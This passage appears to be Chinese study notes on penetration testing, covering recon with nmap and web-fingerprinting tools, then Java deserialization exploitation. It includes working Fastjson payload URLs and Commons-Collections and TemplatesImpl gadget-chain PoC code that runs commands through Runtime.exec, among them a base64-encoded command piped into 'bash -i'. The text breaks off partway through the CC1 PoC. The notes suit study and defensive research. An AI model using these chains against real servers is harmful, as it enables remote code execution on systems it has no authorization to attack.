    https://securitytrails.com
    https://x.threatbook.cn/

3.C段存活主机探测

  • nmap工具

    1
    2
    nmap -sP www.xxx.com/24
    nmap -sP 192.168.1.*
  • 其他工具:

    1
    https://github.com/se55i0n/Cwebscanner
  • 常用命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    nmap -sn -v -T4 -oG Discover.gnmap 172.26.1.0/24     #主机探测
    grep "Status: Up" Discover.gnmap | cut -f 2 -d '' > LiveHosts.txt

    #端口扫描
    nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt

    #系统扫描
    nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

    #版本检测
    nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt

4.其他信息搜集

  • 历史漏洞信息

    1
    2
    3
    4
    5
    6
    7
    8
    http://wy.zone.ci/
    https://wooyun.kieran.top/#!/

    https://www.exploit-db.com/ #漏洞查找

    https://wiki.0-sec.org/#/md

    https://www.seebug.org/

二、网站信息搜集

1.网站指纹识别

  • 操作系统

    • ping:

      windows的TTL值一般为128,Linux则为64。TTL大于100一般为windows,几十一般为linux。

    • nmap -O扫描

    • windows大小写不敏感,Linux则很区分大小写

  • 中间件

    • F12响应头Server字段

    • whatweb:

      1
      https://www.whatweb.net/
    • wappalyzer浏览器插件

  • 语言识别

    • PHP、ASP等等
    • 数据库类型等
  • CMS识别:

    内容管理系统,用于网站内容文章管理,常见有dedecms、Discuz、phpcms等

    • 识别工具:

      1
      2
      http://whatweb.bugscaner.com/look/
      https://github.com/iceyhexman/onlinetools

2.敏感文件、目录探测

常见有

1
2
3
4
5
6
7
8
9
10
11
12
github 			#直接github上搜索该网站
.git #GitHack自动化利用,原理是本地和远程相互备份了
.svn
.DS_Store #苹果操作系统的文件
.hg
.bzr
cvs

WEB-INF
#是JAVA的WEB应用的安全目录,如果想要在页面中直接访问其中的文件,必须要通过web.xml文件对要访问的文件进行相应的映射才能访问。

www.zip
  • 工具

    1
    2
    3
    dirsearch
    御剑
    https://github.com/H4ckForJob/dirmap
  • 针对漏洞的信息泄露

    1
    2
    https://github.com/LandGrey/SpringBootVulExploit
    https://github.com/rabbitmask/SB-Actuator

3.网站WAF识别

1
2
3
https://github.com/EnableSecurity/wafw00f
nmap -p80,443 --script http-waf-detect ip
nmap -p80,443 --script http-waf-fingerprint ip

三、漏洞扫描

1.针对性漏洞

  • SQL:sqlmap

  • weblogic:weblogicscan

  • CMS

    • wordpress:wpscan
    • dedecms:dedecmsscan
  • 应用层:nessus

  • 某类框架:Struts2(Struts2漏洞检测工具)、sprintboot(SB-Actuator)

  • web服务:xray、awvs

2.awvs

image-20221113110028639

四、常见漏洞

1.weblogic

  • 端口:7001

  • Web界面特征:

    image-20221113111840633

2.Thinkphp5

1
https://github.com/admintony/thinkPHPBatchPoc

3.Struts2

  • 框架识别:

    • .do或者.action后缀
    • /struts/webconsole.html界面:需要开启devMode
  • 工具:

    1
    https://github.com/HatBoy/Struts2-Scan
  • 常见漏洞:

    • struts2-045:CVE-2017-5638,可代码执行,版本在2.3.52.3.31和2.52.5.10

      在使用基于Jakarta插件的文件上传功能时,可能存在远程命令执行。

      https://www.anquanke.com/post/id/85674

4.Jboss

JAVA EE应用服务器,通常与Tomcat或jetty绑定使用

  • 框架识别:

    • 8080端口:6…版本

      image-20221113115127399

    • 1741端口:7…版本

  • 工具:

    1
    https://github.com/GGyao/jbossScan
  • 常见漏洞:

    • CVE-2017-12149

      JAVA反序列化错误,在过滤器没有进行检查。

      访问/invoker/readonly显示500可能存在

      image-20221113115659179

      可使用如下工具进行反弹shell

      1
      https://github.com/joaomatosf/jexboss

5.Fastjson

  • 识别:

    • 出现json格式的地方就又可能使用了fastjson(Content-type:application/json
  • 原理:

    FastJson 中有一个@type 参数,能将我们反序列化后的类转为@type 中指定的类,然后在反序列化过程中会自动调用类中的settergetter 和构造器,参考:FastJason 1.2.22-1.2.24 TemplatesImpl利用链分析 (yuque.com)

    使用springboot时如下

    1
    2
    3
    4
    5
    6
    @RequestMapping("/fast")
    public String FastVuln1(@RequestParam(name="evil") String evil) throws Exception{
    Object obj = JSON.parseObject(evil,Object.class, Feature.SupportNonPublicField);
    System.out.println(obj.getClass().getName());
    return evil;
    }

    相关Evil

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    package com.example.fastjsondemo;

    public class Evil {
    public String cmd;

    public Evil(){

    }

    public void setCmd(String cmd) throws Exception{
    this.cmd = cmd;
    Runtime.getRuntime().exec(this.cmd);
    }

    public String getCmd(){
    return this.cmd;
    }

    @Override
    public String toString() {
    return "Evil{" +
    "cmd='" + cmd + '\'' +
    '}';
    }
    }

    对应的payload为,记得url编码一下

    1
    http://127.0.0.1:8080/fast?evil={"@type":"com.example.fastjsondemo.Evil","cmd":"touch ccc"}

    或者利用一下dnslog

    1
    http://127.0.0.1:8080/fast?evil={"@type":"java.net.InetAddress","val":"je85rk.dnslog.cn"}

    结合JAVA反序列化的知识,得到POC

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    package com.example.fastjsondemo;

    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.Feature;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import javassist.*;

    import javax.xml.transform.Templates;
    import javax.xml.transform.Transformer;
    import javax.xml.transform.TransformerConfigurationException;
    import java.time.temporal.Temporal;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.Properties;

    public class poc {
    public static String generateEvil() throws Exception {
    ClassPool pool = ClassPool.getDefault();
    CtClass clas = pool.makeClass("test");
    pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    String cmd = "Runtime.getRuntime().exec(\"touch dddd\");";
    clas.makeClassInitializer().insertBefore(cmd);
    clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));

    clas.writeFile("./");

    byte[] bytes = clas.toBytecode();
    String EvilCode = Base64.getEncoder().encodeToString(bytes);
    //System.out.println(EvilCode);
    return EvilCode;
    }
    public static void main(String[] args) throws Exception {
    final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    String evil = poc.generateEvil();
    String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"_name\":\"a\",\"allowedProtocols\":\"all\"}\n";
    System.out.println(PoC);
    JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
    }
    }

6.shiro

环境搭建:(47条消息) shiro debug 调试_scanner010的博客-CSDN博客

其它参考:Shiro 550 漏洞学习(一) (yuque.com)

P神知识星球的TemplatesImpl在Shiro中的利用

  • Shiro-550原理:

    1.2.4及以下

    Apache Shiro框架提供了记住密码功能,登录成功的化会生成经过加密并且编码的Cookie,实际为rememberMe。那么在服务端就会对该Cookie进行base64解码,然后AES解密,最后再反序列化,这样就会导致反序列化的RCE漏洞,而其中AES加解密的KEY是硬编码写在源码中的。

    修复即去掉了默认的key

  • Shiro-721原理:

    同样也是rememberMe字段,不过需要一个合法的rememberMe字段作为前缀

  • 识别:

    • Remember Me的功能
    • 抓包的时候在set-cookie中有remeberMe字段
    • 或者key不同导致的信息回传
  • 检测:

    1
    https://github.com/search?q=shiroscan
  • 利用:

    很多种类,用ysoserial吧,需要去掉JSESSIONID字段,具体的可以看看vulhub中讲到的方法。

▲注:

自己本地调试shiro-550的时候,老是没办法反序列化,执行到反序列化时,即最终的DefaultSerializer.java - deserialize函数中就会抛出异常,直接跳转到异常处理去,应该是环境搭建有点问题。

image-20221118112528568

7.Redis

  • 端口:6379

TIPS

1.目录穿越

../约等于{.}

JAVA反序列化CC链笔记

前置说明

依据这张图来进行一些分析

参考:Commons-Collections 1-7 利用链分析 – 天下大木头 (wjlshare.com)

DF8C7E9CED07CAD7321EFED262F23E20

前置知识

CC链包含了好多的Transformer,这部分知识在P神的JAVA安全漫谈中讲的挺清楚的Java安全漫谈 - 09.反序列化篇(3),简单提一下

源码-8u40

Transformer

Transformer是⼀个接⼝,代表调用该对象的transform方法

1
2
3
public interface Transformer {
Object transform(Object input);
}

很多的transformer系列对象都实现了该接口,并且进行重写,比如熟悉的像InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class InvokerTransformer implements Transformer, Serializable {
//....
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}catch{
//...
}
}
}
}

TransformedMap

借用一下p神在JAVA安全漫谈中的Java安全漫谈 - 09.反序列化篇(3)下的原话

image-20220802181051056

这里的回调感觉就是调用对应实现了Transformer接口的类的自定义的transform方法。

其源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
private static final long serialVersionUID = 7023152376788900464L;
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
//...
}

由于其构造函数是protected修饰的,所以通常是没办法在我们的代码中直接实例化对象出来的,那么就利用提供的decorate函数接口即可。

ConstantTransformer

看源码就知道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
//....
private final Object iConstant;

//....

public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
//...
public Object transform(Object input) {
return this.iConstant;
}
//...
}

即构造函数的时候传入⼀个对象,当调用transform方法时再将这个对象返回,最开始我想着这不是多此一举吗,有什么用捏。后面才知道,这可能就是为了传递某些无法进行序列化的类吧,比如Runtime的。

InvokerTransformer

这个可以说是很关键的一个类了,能执行任意方法。看下源码,主要关注三个参数的构造函数和transform函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class InvokerTransformer implements Transformer, Serializable {
static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;

//....
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
//.....
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch{
//.....
}
}
}
}

即当调用到该类的transform函数时,约等于执行input.iMethodName(this.iArgs)

ChainedTransformer

包含了一个Transformer的数组,即数组中前⼀个Transformertransform函数执行的返回结果,作为后⼀个Transformertransform函数的参数输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class ChainedTransformer implements Transformer, Serializable {
static final long serialVersionUID = 3514945074733160196L;
private final Transformer[] iTransformers;
//....

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
//...
}

比如如下在反序列化中常见的执行Runtime.exec的方法

1
2
3
4
5
6
7
8
9
10
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[]{"touch dddd"})});
chain.transform(123);//这个123没啥用,随便设置

那么实际的的调用链如下,实际调试一下应该更清楚一些。

未命名绘图

所以通常情况下,我们就是需要找到能调用到某个对象的transform函数的链子。

TemplatesImpl

这个不知道被设计出来干啥的,不过在JAVA反序列化中通常用来加载字节码。

前置知识

参考:Java安全漫谈 - 13.Java中动态加载字节码的那些方法

JAVA虚拟机JVM实际加载运行的是.class文件,而这个.class文件,里面的实际数据就是字节码。那么如果我们可以自定义一个类,其构造函数为打印Hello World,然后将之编译成.class文件,然后让JAVA去加载,就可以触发该类的构造函数了。

那么这个加载.class文件的方法,就是defineClass,以下就是p神提供的一个例子,运行会打印出Hello World

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package test;

import java.lang.reflect.Method;
import java.util.Base64;
public class test {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}

那么我们需要寻找的链子,就是能够调用到defineClass方法的链子,这里就是TemplatesImpl,其调用链如下:

1
TemplatesImpl.newTransformer() ->TemplatesImpl.getTransletInstance() -> TemplatesImpl.defineTransletClasses()-> TransletClassLoader.defineClass()

相关实际调用截图如下

链子

TemplatesImpl.newTransformer()

image-20220803171708570

TemplatesImpl.defineTransletClasses()

image-20220803171741367

TransletClassLoader.defineClass()

这里的_bytecodes[i]即为TemplatesImpl类中私有成员,我们可以通过反射来为其赋值。

image-20220803171936516

TrAXFilter

该类未实现Serializable接口,无法进行序列化,所以使用的时候通常结合ConstantTransformer来搭配使用。主要关注其构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class TrAXFilter extends XMLFilterImpl {
//....
private TransformerImpl _transformer;
//.....

public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
//...
_transformer = (TransformerImpl) templates.newTransformer();
//...
}
//....
}

即会依据传入的Templates类对象,来调用其newTransformer函数,这个是不是就是可以调用到之前提到的TransformerImpl.newTransformer()从而加载字节码呢。

InstantiateTransformer

同样也是一个实现了Transformer接口的类,主要关注其构造函数和重写的transform函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class InstantiateTransformer implements Transformer, Serializable {
//......
private final Class[] iParamTypes;
private final Object[] iArgs;

private InstantiateTransformer() {
this.iParamTypes = null;
this.iArgs = null;
}

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
//...
}
//...
}
}

可以看到有两个构造函数,当传入有参构造函数时,其成员iParamTypesiArgs会被赋值,然后在其transform函数中,会依据成员iParamTypesiArgs来生成实例化对象。

1
2
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);

那么我们就可以借助该类的transform函数,来生成TrAXFilter类的实例化对象,从而在TrAXFilter的构造函数中,调用到TemplatesImpl.newTransformer()来加载字节码,完成任意函数调用。

经典链子CCI

ChainedTransformer->ConstantTransformer->InvokerTransformer

为了方便,自己命名为CCI

前置知识

可以使用ChainedTransformer.transform()来调用其中该数组中的各种transformer,从而获取Runtime来执行命令。举个简单的例子如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.lang.reflect.Field;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[]{"touch abc"})});
chain.transform("aaa");//随便设置
}
}

调用时ChainedTransformer.transfor()满足如下条件即可

image-20220802121441271

进入之后会一直循环调用

image-20220802121635026

直到最后调用到Runtime的exec

image-20220802122031069

实际使用

调用transform数组获取runtime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[]{"ping dnslog.cn"})});

//其中一种触发方式,LazyMap.get()
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
//调用LazyMap.get方法
TiedMapEntry tiedmap = new TiedMapEntry(map,123);

代表如下获取Runtime的链子

image-20220801101348788

LazyMap.get()开始

image-20220801110714702

这里的factoryChainedTransformer,其transform为一个数组

image-20220802095635405

key123可以随便设置,但是实际调试的时候不知道为什么进不去,应该是p神讲的

image-20220802100443587

所以导致运行到上述情况时,上层的HashMap中的key已经是一个进程了,所以有值了,导致调试无法进入。

image-20220802100604384

经典链子ITN

InvokerTransformer->TemplatesImpl.newTransformer

同样为了方便自己命名为ITN

前置知识

可使用TemplatesImpl.newTransformer来调用到defineClass加载字节码任意调用,给个简单的例子

多方参考:

利用TemplatesImpl加载字节码 - (yang99.top)

JavaDeserializeLab学习(jdk1.8.0_301) – maxzed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package test;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

public class test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());//新建一个test类,没啥用
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,dG91Y2ggYWJj}|{base64,-d}|{bash,-i}\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");
byte[] bytes = ctClass.toBytecode();

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {bytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
}

设置的命令为touch abc

调试如下,可以看到,满足TemplatesImpl.newTransformer调用时,存在_name,即可调用对应的_bytecodes的字节码。

image-20220802113412874

实际使用

JAVA版本限制

参考:BCEL ClassLoader去哪了 | 离别歌 (leavesongs.com)

也就是Java 8u251以后,JAVA里的ClassLoader被删除,但是官网的JDK里还是有的,所以跑上面的例子代码还是能跑通,但是如果实际环境中可能就不行了,这个不是很懂。

那么如果没有ClassLoader的话,也就不存在下面的加载字节码的方法了,具体原因是newTransformer函数内部会调用到ClassLoader来加载字节码,这个可以参考如下:利用TemplatesImpl加载字节码 - (yang99.top)

解析

该链子的使用方法参考我熊哥的博客:JavaDeserializeLab学习(jdk1.8.0_301) – maxzed

加载字节码,直接运行所需命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());//新建一个test类,没啥用
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,Li90ZXN0LnNo}|{base64,-d}|{bash,-i}\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");

byte[] bytes = ctClass.toBytecode();
TemplatesImpl tempIm = new TemplatesImpl();
setField(tempIm, "_name", "asd");
setField(tempIm, "_bytecodes", new byte[][]{bytes});
setField(tempIm, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer invTransf = new InvokerTransformer("newTransformer", null, null);

HashMap innermap = new HashMap();

LazyMap map = (LazyMap)LazyMap.decorate(innermap,invTransf);
//调用Get方法
TiedMapEntry tiedmap = new TiedMapEntry(map,tempIm);

代表如下运行字节码链子

image-20220802103631920

也是从LazyMap.get()开始,这里调试时上一层HashMap中就没有key值了,所以可以进去

image-20220802105100090

然后进入transform中,可以看到对应的要执行的命令字节码

image-20220802105822797

1
[-54, -2, -70, -66, 0, 0, 0, 52, 0, 35, 10, 0, 3, 0, 13, 7, 0, 33, 7, 0, 15, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 11, 76, 116, 101, 115, 116, 47, 116, 101, +499 more]

对比一下在没有序列化时的数据

image-20220802105946768

1
[-54, -2, -70, -66, 0, 0, 0, 52, 0, 35, 10, 0, 3, 0, 13, 7, 0, 33, 7, 0, 15, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 11, 76, 116, 101, 115, 116, 47, 116, 101, +499 more]

是完全一样的,那么就会调用到newTransform来调用相关字节码

参考:Commons-Collections 1-7 利用链分析 – 天下大木头 (wjlshare.com)

经典链子CITTN

ChainedTransformer->ConstantTransformer->InstantiateTransformer->TrAXFilter->TemplatesImpl

同样为了方便自己命名为CITTN

测试链

即结合之前提到的这几个类,也能想出相关的链子,相关测试如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;


public class test {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("test");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"touch bbbb\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");

byte[] classBytes = ctClass.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_name", "name");
setField(templates, "_class", null);

ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
chain.transform("test");
}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

解析

image-20220806110014361

首先自然还是ChainedTransformer中的数组调用transform函数,之后调用ConstantTransformertransform函数,获取到TrAXFilter类后,再调用InstantiateTransformertransform函数,其中会生成TrAXFilter的实例化对象

image-20220806112255293

随后即可进入TrAXFilter的构造函数,传入的this.iArgs即为实例化InstantiateTransformer时传入的Templates对象

image-20220806110523351

然后就调用到利用反射为Templates对象准备的字节码_bytecodes,从而完成任意函数执行。

一、CC1

前置知识

主要是动态代理对象的知识

参考:Java安全漫谈 - 11.反序列化篇(5)

InvocationHandler

有一个和Transformer接口很像的类InvocationHandler

1
2
3
4
public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}

当该代理对象调用任意方法时,都会被替换为调用之前传入的实现了InvocationHandler类下重写的invoke方法,以下是个简单的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class test {
public static void main(String[] args) {
//声明一个实现了InvocationHandler接口的类
class Demo implements InvocationHandler{
protected Map map;
public Demo(Map map){
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("Calling invoke....");
if (method.getName().compareTo("get") == 0){
System.out.println("Hook method: " + method.getName());
return "Hacked return string";
}
return method.invoke(this.map,args);
}
}

InvocationHandler invocationHandler = new Demo(new HashMap());
//代理时传入实现了InvocationHandler接口的类的实例对象,返回代理对象proxyMap
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
//当代理对象proxyMap调用任意方法时,都会被之前传入的实现了
//InvocationHandler接口的类下重写的invoke方法给替换掉

//比如这里的put和get都会被Demo.invoke给替换掉
proxyMap.put("hello","world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}

那么就有希望调用到某个类的invoke函数了,这里的CC1即选取的尝试调用AnnotationInvocationHandler.invoke()

JAVA源码版本-8u40

image-20220803181047725

细节如下:

1
2
3
4
5
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()

限制

JDK版本:8u71及以前版本,原因是在8u71之后的版本中sun.reflect.annotation.AnnotationInvocationHandler.readObject()函数发生了变化。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception{
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"touch aaaaa"})});

HashMap innermap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innermap,chain);

// 创建一个与代理对象相关联的InvocationHandler map_handler
